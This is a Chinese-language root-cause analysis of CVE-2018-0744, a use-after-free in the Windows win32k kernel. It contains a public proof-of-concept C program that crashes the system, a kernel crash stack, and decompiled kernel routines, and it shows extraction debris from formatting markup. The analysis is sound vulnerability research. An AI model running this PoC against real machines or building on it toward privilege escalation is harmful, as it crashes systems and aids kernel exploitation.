CVE-2018-0744
0x1 漏洞简介
Windows 8.1 和 RT 8.1、Windows Server 2012 和 R2、Windows 10 Gold、1511、1607、1703 和 1709、Windows Server 2016 和 Windows Server 版本 1709 中的 Windows 内核由于对象的处理方式而允许提权漏洞在内存中,又名“Windows 特权提升漏洞”。
0x2 影响版本
Windows 8.1
Windows RT 8.1
Windows Server 2012
Windows 2012 R2
Windows 10 Gold
Winodws 10 1511
Winodws 10 1607
Winodws 10 1709
Windows Server 2016
Windows Server 2016 1709
0x3 漏洞分析
【
环
境
】
:
W
i
n
10
?
1607
?
x
64
\textcolor{green}{【环境】:Win10\ 1607\ x64}
【环境】:Win10?1607?x64
根据网上公开的POC复现漏洞
int main(int argc, char** argv) {
WNDCLASSEXW wcls = { 0 };
HWND hWnd1 = NULL, hWnd2=NULL, hWnd3=NULL;
wcls.cbSize = sizeof(WNDCLASSEXW);
wcls.lpfnWndProc = DefWindowProcW;
wcls.lpszClassName = L"Class";
ATOM atom = RegisterClassExW(&wcls);
if (atom == NULL) {
printf("[!]Error, line: %d\n", __LINE__ - 2);
return 0;
}
hWnd1 = CreateWindowExW(0, (LPCWSTR)(unsigned __int16)atom, L"One", 0, CW_USEDEFAULT,0,
0, 0, NULL, NULL, NULL, NULL);
if (hWnd1 == NULL) {
printf("[!]Error, line: %d\n", __LINE__ - 2);
return 0;
}
SetClassLongW(hWnd1, GCL_STYLE, CS_CLASSDC);
hWnd2 = CreateWindowExW(0, (LPCWSTR)(unsigned __int16)atom, L"Two", 0, CW_USEDEFAULT, 0,
0, 0, NULL, NULL, NULL, NULL);
if (hWnd2 == NULL) {
printf("[!]Error, line: %d\n", __LINE__ - 2);
return 0;
}
GetDC(hWnd1);
SetClassLongW(hWnd1, GCL_STYLE, CS_CLASSDC | CS_OWNDC);
hWnd3 = CreateWindowExW(0, (LPCWSTR)(unsigned __int16)atom, L"Three", 0, CW_USEDEFAULT, 0,
0, 0, NULL, NULL, NULL, NULL);
DestroyWindow(hWnd1);
DestroyWindow(hWnd2);
return 0;
}
拿到系统崩溃时的调用栈
CONTEXT: ffff9e01665e2770 -- (.cxr 0xffff9e01665e2770)
rax=0000000000000000 rbx=ffffc68f43d84dd0 rcx=ffffc68f40841e70
rdx=0000000000000000 rsi=0000000041050b71 rdi=ffffc68f40841e70
rip=ffffc6bd26e30c8f rsp=ffff9e01665e3188 rbp=ffff9e01665e33f0
r8=ffffc68f40800820 r9=0000000000000000 r10=ffffc68f43d84dd0
r11=0000000010003010 r12=0000000000000000 r13=ffffc68f40800820
r14=ffffc6bd272af9f0 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282
win32kfull!IsDescendant+0x7:
ffffc6bd`26e30c8f 0fb74242 movzx eax,word ptr [rdx+42h] ds:002b:00000000`00000042=????
Resetting default scope
PROCESS_NAME: conhost.exe
STACK_TEXT:
ffff9e01`665e3188 ffffc6bd`26e30c40 : 00000000`41050b71 ffffc68f`40841e70 00000082`0000001f 00000289`00000400 : win32kfull!IsDescendant+0x7
ffff9e01`665e3190 ffffc6bd`26e2fdad : 200c0110`04ef0000 ffff9e01`00000001 31c86450`00000004 ffffc6bd`271eb839 : win32kfull!WindowMatchesDCE+0x1c
ffff9e01`665e31c0 ffffc6bd`26e96b84 : ffffc68f`40841e70 ffff9e01`665e33f0 ffffc68f`43cc0290 00000000`00000001 : win32kfull!UnredirectDCEs+0x65
ffff9e01`665e31f0 ffffc6bd`26e96347 : ffffc68f`40841e70 00000000`00000001 00000000`0000000a 00000000`00000000 : win32kfull!UnsetRedirectedWindow+0x98
ffff9e01`665e3220 ffffc6bd`26e95c3b : ffffc68f`40841e70 00000000`00000006 00070000`00070007 00000000`04ef0000 : win32kfull!UnsetLayeredWindow+0x6b
ffff9e01`665e3290 ffffc6bd`26e95a17 : ffffc68f`40841e70 ffffc68f`43d8c960 00000000`00000000 00000000`00000000 : win32kfull!ComposeWindow+0x4f
ffff9e01`665e32c0 ffffc6bd`26e2f66a : 00000000`00000001 ffff9e01`665e33f0 ffffc68f`43d8c960 ffffc68f`40841e70 : win32kfull!DecomposeWindowIfNeeded+0x23
ffff9e01`665e32f0 ffffc6bd`26e3ebb1 : ffffc68f`43d8c960 ffff9e01`665e3529 ffffc68f`43d8ca08 ffffc68f`43e59b10 : win32kfull!zzzChangeStates+0x70a
ffff9e01`665e3470 ffffc6bd`26e3b890 : ffffc6bd`272af9f0 ffffc6bd`272af9f0 00000000`00000001 ffffc68f`43e59b10 : win32kfull!zzzBltValidBits+0x125
ffff9e01`665e3590 ffffc6bd`26e381b6 : ffffc68f`00000001 ffffc68f`40841e70 00000000`00000000 00000000`00000001 : win32kfull!xxxEndDeferWindowPosEx+0x1c4
ffff9e01`665e3660 ffffc6bd`26e1fb59 : ffffc68f`40841e70 00000000`00000000 00000000`00000000 ffffc6bd`00000000 : win32kfull!xxxSetWindowPosAndBand+0xca
ffff9e01`665e36f0 ffffc6bd`26e34d99 : ffffc68f`40841e70 ffff9e01`665e37a9 00000000`00000000 ffffc68f`43e59b10 : win32kfull!xxxSetWindowPos+0x29
ffff9e01`665e3740 ffffc6bd`27207a7c : ffff9e01`00000000 00000000`00000001 ffffc68f`00000000 ffffc68f`40841e70 : win32kfull!xxxDestroyWindow+0x599
ffff9e01`665e3810 ffffc6bd`271ec91a : ffffc68f`43e59b10 ffffc68f`408418d0 00000000`00000000 ffffc6bd`26eda1fc : win32kbase!xxxDestroyWindowIfSupported+0x1c
ffff9e01`665e3840 ffffc6bd`271cf7c1 : 00000000`00000000 00000000`00000356 00000000`00000000 ffffc68f`43e59b10 : win32kbase!HMDestroyUnlockedObject+0x4a
ffff9e01`665e3870 ffffc6bd`271ed2ec : 00000000`00000000 00000000`00000000 ffffc68f`43e59b10 00000000`00000000 : win32kbase!DestroyThreadsObjects+0xf1
ffff9e01`665e38a0 ffffc6bd`271eaa86 : 00000000`00000001 ffffc68f`43e59b10 00000000`00000000 ffffc68f`43e59b10 : win32kbase!xxxDestroyThreadInfo+0x374
ffff9e01`665e3a10 ffffc6bd`26eead64 : 00000000`00000000 00000000`00000001 ffffc88c`2f737080 00000000`00000001 : win32kbase!UserThreadCallout+0x296
ffff9e01`665e3a60 ffffc6bd`271cbf57 : ffff9e01`665e3bb8 fffff800`fd50b308 00000000`00000000 ffffc88c`2f68aa00 : win32kfull!W32pThreadCallout+0x54
ffff9e01`665e3a90 fffff800`fd5f0e17 : ffff9e01`665e3bb8 fffff800`fd50b308 00060030`00010002 00000000`00000000 : win32kbase!W32CalloutDispatch+0x147
ffff9e01`665e3ad0 fffff800`fd635745 : ffffc88c`31cb2e20 ffff9e01`665e3b40 00000000`00000000 ffffc88c`2f737080 : nt!ExCallCallBack+0x37
ffff9e01`665e3b00 fffff800`fd6f89ae : 00000000`00000000 ffffc88c`2f737080 ffff9e01`665e3e40 ffffc88c`2f737128 : nt!PspExitThread+0x3e9
ffff9e01`665e3c40 fffff800`fd23da22 : ffffc88c`31c37d00 fffff800`fd25277a 00000000`00000000 ffffc88c`31c37d60 : nt!KiSchedulerApcTerminate+0x2e
ffff9e01`665e3c70 fffff800`fd359610 : 00000000`00000000 ffffc68f`40841e70 00000000`0000029e fffff800`00000000 : nt!KiDeliverApc+0x2f2
ffff9e01`665e3d00 fffff800`fd360d3a : ffffc88c`2f737080 00000000`00000000 00000000`00000020 00000000`00000000 : nt!KiInitiateUserApc+0x70
ffff9e01`665e3e40 00007ff9`a75c89b0 : 000000dd`2cd8f770 00007ff9`a4e4156c 00000239`0cfd1e70 00007ff9`89399010 : nt!KiSystemServiceExit+0x9f
000000dd`2cd8f6c0 00007ff9`a47e1164 : 00007ff9`a4e54866 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!KiUserCallbackDispatch
000000dd`2cd8f718 00007ff9`a4e54866 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32u!NtUserGetMessage+0x14
000000dd`2cd8f720 00007ff9`89392e3b : 000000dd`2cd8f770 00000000`00000000 00000000`00000000 00000000`00000000 : USER32!GetMessageW+0x26
000000dd`2cd8f750 00007ff9`a4cc8364 : 00000000`00000000 00000000`000103c3 00000000`00000000 00000000`00000000 : ConhostV2!ConsoleInputThread+0x7b
000000dd`2cd8f7b0 00007ff9`a7585e91 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
000000dd`2cd8f7e0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
SYMBOL_NAME: win32kfull!IsDescendant+7
此时只能知道崩溃发生的位置是在
w
i
n
32
k
f
u
l
l
!
I
s
D
e
s
c
e
n
d
a
n
t
+
0
x
7
\textcolor{orange}{win32kfull!IsDescendant+0x7}
win32kfull!IsDescendant+0x7,但起因还得根据POC和回溯调用栈去分析。在Win10中已经不再提供与窗口相关的内核对象结构体符号了,所以这对分析增加了不少麻烦。本人在此系统以上进行的漏洞分析,限于能力和精力仅是围绕着漏洞相关的结构体,借助Win7的符号和WRK源码进行。
首先看到POC中连续创建了三个窗口hWnd1, hWnd2和hWnd3,三个窗口不同的地方是:
- hWnd1在创建时没有设置窗口类风格
CS_CLASSDC ,其标题为 One - hWnd2是在hWnd1设置了
CS_CLASSDC 类风格的前提下创建的,其标题为 Two - hWnd3是在调用了
G
e
t
D
C
(
h
W
n
d
1
)
\textcolor{cornflowerblue}{GetDC(hWnd1)}
GetDC(hWnd1),同时给hWnd1设置了
CS_CLASSDC 和CS_OWNDC 类风格的前提下创建的,其类名为 Three
三个窗口除了标题不同外,就是创建的前提不同。这有何玄机呢?还从得分析
x
x
x
C
r
e
a
t
e
W
i
n
d
o
w
E
x
\textcolor{cornflowerblue}{xxxCreateWindowEx}
xxxCreateWindowEx开始。
■ CreateWindowEx分析
这是应用层调用
C
r
e
a
t
e
W
i
n
d
o
w
E
x
\textcolor{cornflowerblue}{CreateWindowEx}
CreateWindowEx时对应的内核函数。对于该函数我们主要关注设置CS_CLASSDC 、CS_OWNDC 和没设置的区别。关键代码:
if ( (Gcl_Style & 0x20) != 0 || (Gcl_Style & 0x40) != 0 && !*((_QWORD *)pcls_1 + 3) )
{
v137 = 0x8000;
if ( GetStyleWindow((__int64)pwnd, 0xB20) )
v137 = 0xC000;
GreLockVisRgn(*gpDispInfo);
hDC = (HDC)CreateCacheDC(pwnd, v137, 0i64);
v139 = *gpDispInfo;
if ( !hDC )
goto LABEL_512;
GreUnlockVisRgn(v139);
}
line:7在设置了 CS_CLASSDC 或者 CS_CLASSDC 风格之后,函数会调用
C
r
e
a
t
e
C
a
c
h
e
D
C
\textcolor{cornflowerblue}{CreateCacheDC}
CreateCacheDC为新创建的窗口创建一个DC缓存。
■ CreateCacheDC分析
__int64 __fastcall CreateCacheDC(struct tagWND *pwndOrg, int flags, __int64 a3)
{
...
pdce = Win32AllocPool(0x60i64, 'cdsU');
if ( !pdce )
return 0i64;
...
v8 = GreCreateDisplayDC(v7, 0i64, 0i64);
if ( !v8 )
{
Win32FreePool(pdce);
return 0i64;
}
if ( _bittest(&flags, 0xEu) )
{
if ( (int)IsGetStyleWindowSupported_0() < 0 )
v9 = 0i64;
else
v9 = GetStyleWindow_0(pwndOrg, 0xB20i64);
if ( !v9 )
flags &= 0xFFFFBFFF;
}
else
{
v9 = 0i64;
}
*(_QWORD *)pdce = *(_QWORD *)(gpDispInfo + 0x40);
*(_QWORD *)(gpDispInfo + 0x40) = pdce;
*(_QWORD *)(pdce + 0x28) = 0i64;
*(_QWORD *)(pdce + 0x30) = 0i64;
*(_QWORD *)(pdce + 0x38) = 0i64;
*(_QWORD *)(pdce + 0x50) = 0i64;
*(_QWORD *)(pdce + 8) = v8;
*(_DWORD *)(pdce + 0x40) = flags;
*(_QWORD *)(pdce + 0x10) = pwndOrg;
*(_QWORD *)(pdce + 0x18) = pwndOrg;
*(_QWORD *)(pdce + 0x20) = v9;
*(_QWORD *)(pdce + 0x58) = a3;
...
if ( _bittest(&flags, 0xFu) )
{
GreSetDCOwnerEx(v8, 2147483650i64, 0i64, 1i64);
*(_QWORD *)(pdce + 0x48) = gptiCurrent;
*((_QWORD *)pwndOrg + 0x25) = pdce;
if ( _bittest(&flags, 0xEu) )
{
v12 = IsUpdateRedirectedDCESupported_0();
if ( v12 >= 0 )
UpdateRedirectedDCE_0(pdce, 0i64);
}
}
else
{
GreSetDCOwnerEx(v8, 2147483666i64, 0i64, 1i64);
*(_QWORD *)(pdce + 0x48) = 0i64;
++gnDCECount;
}
if ( (flags & 2) == 0 )
{
pcls = *((_QWORD *)pwndOrg + 0x13);
if ( (*(_BYTE *)(pcls + 0x54) & 0x40) != 0 )
*(_QWORD *)(pcls + 0x18) = pdce;
*(_DWORD *)(pdce + 0x40) |= 0x1000u;
if ( (int)IsRevalidateDCESupported_0() >= 0 )
RevalidateDCE_0(pdce);
}
if ( *(_QWORD *)(gpDispInfo + 48) )
GreGetBounds(*(_QWORD *)(pdce + 8), 0i64, 1i64);
return *(_QWORD *)(pdce + 8);
}
@line:27新创建的dce以链表的形式存在
g
p
D
i
s
p
I
n
f
o
+
0
x
40
\textcolor{orange}{gpDispInfo+0x40}
gpDispInfo+0x40中
可见如果窗口设置的类风格为 DCX_OWNDC ,则创建的DC缓存会放在
t
a
g
W
N
D
+
0
x
128
\textcolor{orange}{tagWND+0x128}
tagWND+0x128处 @line:44;如果窗口类风格为 CFCLASSDC ,则创建的DC缓存会放在
t
a
g
W
N
D
?
>
p
c
l
s
?
>
p
d
c
e
\textcolor{orange}{tagWND->pcls->pdce}
tagWND?>pcls?>pdce中。DCE的结构体大概如下:
typedef struct tagDCE {
struct tagDCE *pdceNext;
HDC hdc;
struct tagWND *pwndOrg;
struct tagWND *pwndClip;
HRGN hrgnClip;
HRGN hrgnClipPublic;
HRGN hrgnSavedVis;
QWORD unkfield_1;
DWORD flags;
DWORD padd;
struct tagTHREADINFO *ptiOwner;
QWORD unkfield_2;
QWORD unkfield_3;
} DCE, *PDCE;
接着再来看为hWnd1调用
G
e
t
D
C
\textcolor{cornflowerblue}{GetDC}
GetDC时发生了什么
■ GetDCEx分析
__int64 __fastcall GetDCEx(struct tagWND *pwnd, HRGN a2, unsigned int a3)
{
...
v361 = flag & 0x8080441F
...
ppdce = gpDispInfo;
pdceNext = *(_QWORD *)(ppdce + 0x40);
pdceFirst = (__int64 *)(ppdce + 0x40);
for ( j = 0i64; pdceNext; pdceNext = *(_QWORD *)pdceNext )
{
if ( (*(_DWORD *)(pdceNext + 0x40) & 0x400002) == 2 )
{
hdc = *(_QWORD *)(pdceNext + 8);
LOBYTE(v18) = 1;
v353[1] = 0i64;
pobj = HmgShareLock(v30, v18);
v353[0] = v31;
if ( !pobj || (v32 = *(_DWORD *)(pobj + 0x28), XDCOBJ::vAltUnlockNoNullSet((XDCOBJ *)v353), (v32 & 1) == 0) )
{
if ( !*(_QWORD *)(pdceNext + 0x58) )
{
flags = *(_DWORD *)(pdceNext + 0x40);
if ( _bittest(&flags, 0xBu) )
goto LABEL_62;
if ( !_bittest(&flags, 0xCu) )
ppdceNotInUse = pdceFirst;
}
}
}
pdceFirst = (__int64 *)pdceNext;
}
pdceFirst = ppdceNotInUse;
if ( !ppdceNotInUse )
{
if ( !CreateCacheDC(pwnd_1, flag & 0x4000 | 0x802, 0i64) )
goto LABEL_775;
continue;
}
...
pdce = *pdceFirst;
pwnd = pwnd_1;
i = (struct tagDCE *)*pdceFirst;
do
{
LABEL_63:
v316 = 1;
if ( (*(_DWORD *)(pdce + 64) & 0x800) == 0 && (int)IsSpbCheckDceSupported_0(v26) >= 0 )
SpbCheckDce_0(pdce);
v34 = *(HDC *)(pdce + 8);
*(_DWORD *)(pdce + 0x40) = v361 | 0x1000;
GreValidateVisrgn(v34);
v324 = 0i64;
if ( (int)IsCalcVisRgnSupported_0(v35) < 0 || !(unsigned int)CalcVisRgn_0(&v324, pwnd, v10, v361) )
*(_DWORD *)(pdce + 0x40) |= 0x10000000u;
*(_QWORD *)(pdce + 0x20) = v319;
*(_QWORD *)(pdce + 0x10) = pwnd;
*(_QWORD *)(pdce + 0x18) = v10;
*(_QWORD *)(pdce + 0x28) = 0i64;
*(_QWORD *)(pdce + 0x30) = 0i64;
ResetOrg(v324, (struct tagDCE *)pdce, 1);
if ( !v324 )
v370 = 1;
LABEL_157:
;
}
while ( (*(_DWORD *)(pdce + 0x40) & 0x8080441F) != v361 );
...
}
@line:9函数首先遍历全局DCE链表,找到标记了DCX_CACHE 标志的DCE,然后验证是否设置了DCX_INVALID @line:25,且未设置DCK_INUSE @line:23,或者只设置了DCX_INVALID ,如果满足,则函数选中此失效的dce,后续进行一些初始化操作 @line:54,并返回
d
c
e
?
>
h
d
c
\textcolor{orange}{dce->hdc}
dce?>hdc。如果设置了DCX_INVALID ,则直接退出循环进入到后续的初始化操作。如果未设置DCX_INUSE ,则后续判断ppdceNotInUse是否为空,为空则调用
C
r
e
a
t
e
C
a
c
h
e
D
C
\textcolor{cornflowerblue}{CreateCacheDC}
CreateCacheDC创建一块DC缓存,最后返回
p
d
c
e
?
>
h
d
c
\textcolor{orange}{pdce->hdc}
pdce?>hdc。
再来看看窗口销毁时,对DC缓存是如何释放的。
■ xxxFreeWindow分析
__int64 __fastcall xxxFreeWindow(struct tagWND *pwnd)
{
...
pdce = *(struct tagDCE **)(gpDispInfo + 0x40);
while ( 1 )
{
flags = *((_DWORD *)pdce + 0x10);
if ( (flags & 0x400800) != 0 )
{
LABEL_87:
pdce_1 = pdce;
goto LABEL_88;
}
pwndOrg = (struct tagWND *)*((_QWORD *)pdce + 2);
if ( pwndOrg == pwnd || *((struct tagWND **)pdce + 3) == pwnd || *((struct tagWND **)pdce + 4) == pwnd )
{
if ( (flags & 2) != 0 )
{
if ( _bittest(&flags, 0xCu) )
{
if ( *((_QWORD *)pdce + 9) == gptiCurrent )
{
v61 = ReleaseCacheDC(*((_QWORD *)pdce + 1), 0i64);
}
else
{
DestroyCacheDC(pdce_1, *((_QWORD *)pdce + 1));
v61 = 1;
}
}
else
{
if ( (unsigned int)GreSetDCOwnerEx(*((_QWORD *)pdce + 1), 2147483666i64, 0i64, 1i64) )
goto LABEL_149;
v61 = 2;
}
if ( v61 != 1 )
{
if ( v61 != 2 )
goto LABEL_149;
goto LABEL_159;
}
}
else
{
if ( pdce == *(struct tagDCE **)(*((_QWORD *)pwndOrg + 0x13) + 0x18i64) )
{
if ( (flags & 0xC0) != 0 )
DeleteHrgnClip(pdce);
LABEL_149:
InvalidateDCE(pdce);
goto LABEL_86;
}
if ( pdce == *((struct tagDCE **)pwndOrg + 0x25) )
{
*((_QWORD *)pwndOrg + 0x25) = 0i64;
LABEL_159:
DestroyCacheDC(pdce_1, *((_QWORD *)pdce + 1));
goto LABEL_86;
}
}
}
LABEL_86:
if ( pdce == *(struct tagDCE **)pdce_1 )
goto LABEL_87;
LABEL_88:
pdce = *(struct tagDCE **)pdce_1;
if ( !*(_QWORD *)pdce_1 )
{
v28 = (_QWORD **)gpDispInfo;
break;
}
}
...
}
@line:4函数从全局链表中取出第一个dce,然后循环遍历dce节点,按不同条件释放DC缓存 @line:15、@line:46。
■ 总结分析
- 回顾POC,三个窗口都是同一个类,所以三个窗口共享一个类的内核数据。
- 第一个创建的窗口hWnd1,因为没有设置
CS_CLASSDC 或者CS_OWNDC 类风格,所以其
t
a
g
W
N
D
1
?
>
p
d
c
e
\textcolor{orange}{tagWND1->pdce}
tagWND1?>pdce或者
t
a
g
W
N
D
1
?
>
p
c
l
s
?
>
p
d
c
e
\textcolor{orange}{tagWND1->pcls->pdce}
tagWND1?>pcls?>pdce为NULL,系统没有为此窗口创建DC缓存。 - 创建的第二个窗口hWnd2由于已经设置了
CS_CLASSDC 风格,所以系统会为其创建一块DC缓存,并将指向该缓存的指针pdce2放在
t
a
g
W
N
D
2
?
>
p
c
l
s
?
>
p
d
c
e
\textcolor{orange}{tagWND2->pcls->pdce}
tagWND2?>pcls?>pdce,此时
p
d
c
e
2
?
>
p
w
n
d
O
r
g
\textcolor{orange}{pdce2->pwndOrg}
pdce2?>pwndOrg指向的是tagWND2。由于hWnd1和hWnd2都是同一个窗口类,所以
t
a
g
W
N
D
1
?
>
p
c
l
s
?
>
p
d
c
e
=
p
d
c
e
2
\textcolor{orange}{tagWND1->pcls->pdce=pdce2}
tagWND1?>pcls?>pdce=pdce2。 - 调用
G
e
t
D
C
(
h
W
n
d
1
)
\textcolor{cornflowerblue}{GetDC(hWnd1)}
GetDC(hWnd1)后,
p
d
c
e
2
?
>
p
w
n
d
O
r
g
\textcolor{orange}{pdce2->pwndOrg}
pdce2?>pwndOrg指向了tagWND1,
t
a
g
W
N
D
1
?
>
p
d
c
e
\textcolor{orange}{tagWND1->pdce}
tagWND1?>pdce依然为NULL。
- 创建第三个窗口时,由于已经同时设置了
CS_CLASSDC 和CS_OWNDC 类风格,所以系统为其创建一块DC缓存,并将指向该缓存的指针pdce3存放在
t
a
g
W
N
D
3
?
>
p
d
c
e
\textcolor{orange}{tagWND3->pdce}
tagWND3?>pdce和
t
a
g
W
N
D
3
?
>
p
d
c
e
\textcolor{orange}{tagWND3->pdce}
tagWND3?>pdce。并且有
t
a
g
W
N
D
1
?
>
p
c
l
s
?
>
p
d
c
e
=
p
d
c
e
3
\textcolor{orange}{tagWND1->pcls->pdce=pdce3}
tagWND1?>pcls?>pdce=pdce3,
t
a
g
W
N
D
2
?
>
p
c
l
s
?
>
p
d
c
e
=
p
d
c
e
3
\textcolor{orange}{tagWND2->pcls->pdce=pdce3}
tagWND2?>pcls?>pdce=pdce3,
p
d
c
e
3
?
>
p
w
n
d
O
r
g
=
t
a
g
W
N
D
3
\textcolor{orange}{pdce3->pwndOrg=tagWND3}
pdce3?>pwndOrg=tagWND3。 - 当释放窗口1的tagWND1时,回顾
x
x
x
F
r
e
e
W
i
n
d
o
w
\textcolor{cornflowerblue}{xxxFreeWindow}
xxxFreeWindow一节的分析,系统从全局dce链表中取出第一个dce,此时的dce是dce2,因为插入链表的顺序和创建dce时的顺序是一致的。此时将不满足条件**@line:17**、@line:46和**@line:54**,所以dce2没有被释放,但是此后tagWND1将被释放而变得无效,也就是说
p
d
c
e
2
?
>
p
w
n
d
O
r
g
\textcolor{orange}{pdce2->pwndOrg}
pdce2?>pwndOrg指向的是一个无效内存,随后将
d
c
e
2
?
>
f
l
a
g
s
\textcolor{orange}{dce2->flags}
dce2?>flags设置为无效。
- 当释放窗口2的tagWND2时,由于dce2无效,所以又没有释放dce2。
- 综上,相当于dce2没有被正确释放,并且
d
c
e
2
?
>
p
w
n
d
O
r
g
\textcolor{orange}{dce2->pwndOrg}
dce2?>pwndOrg存在UAF,故而造成系统在某个时机BSOD。
|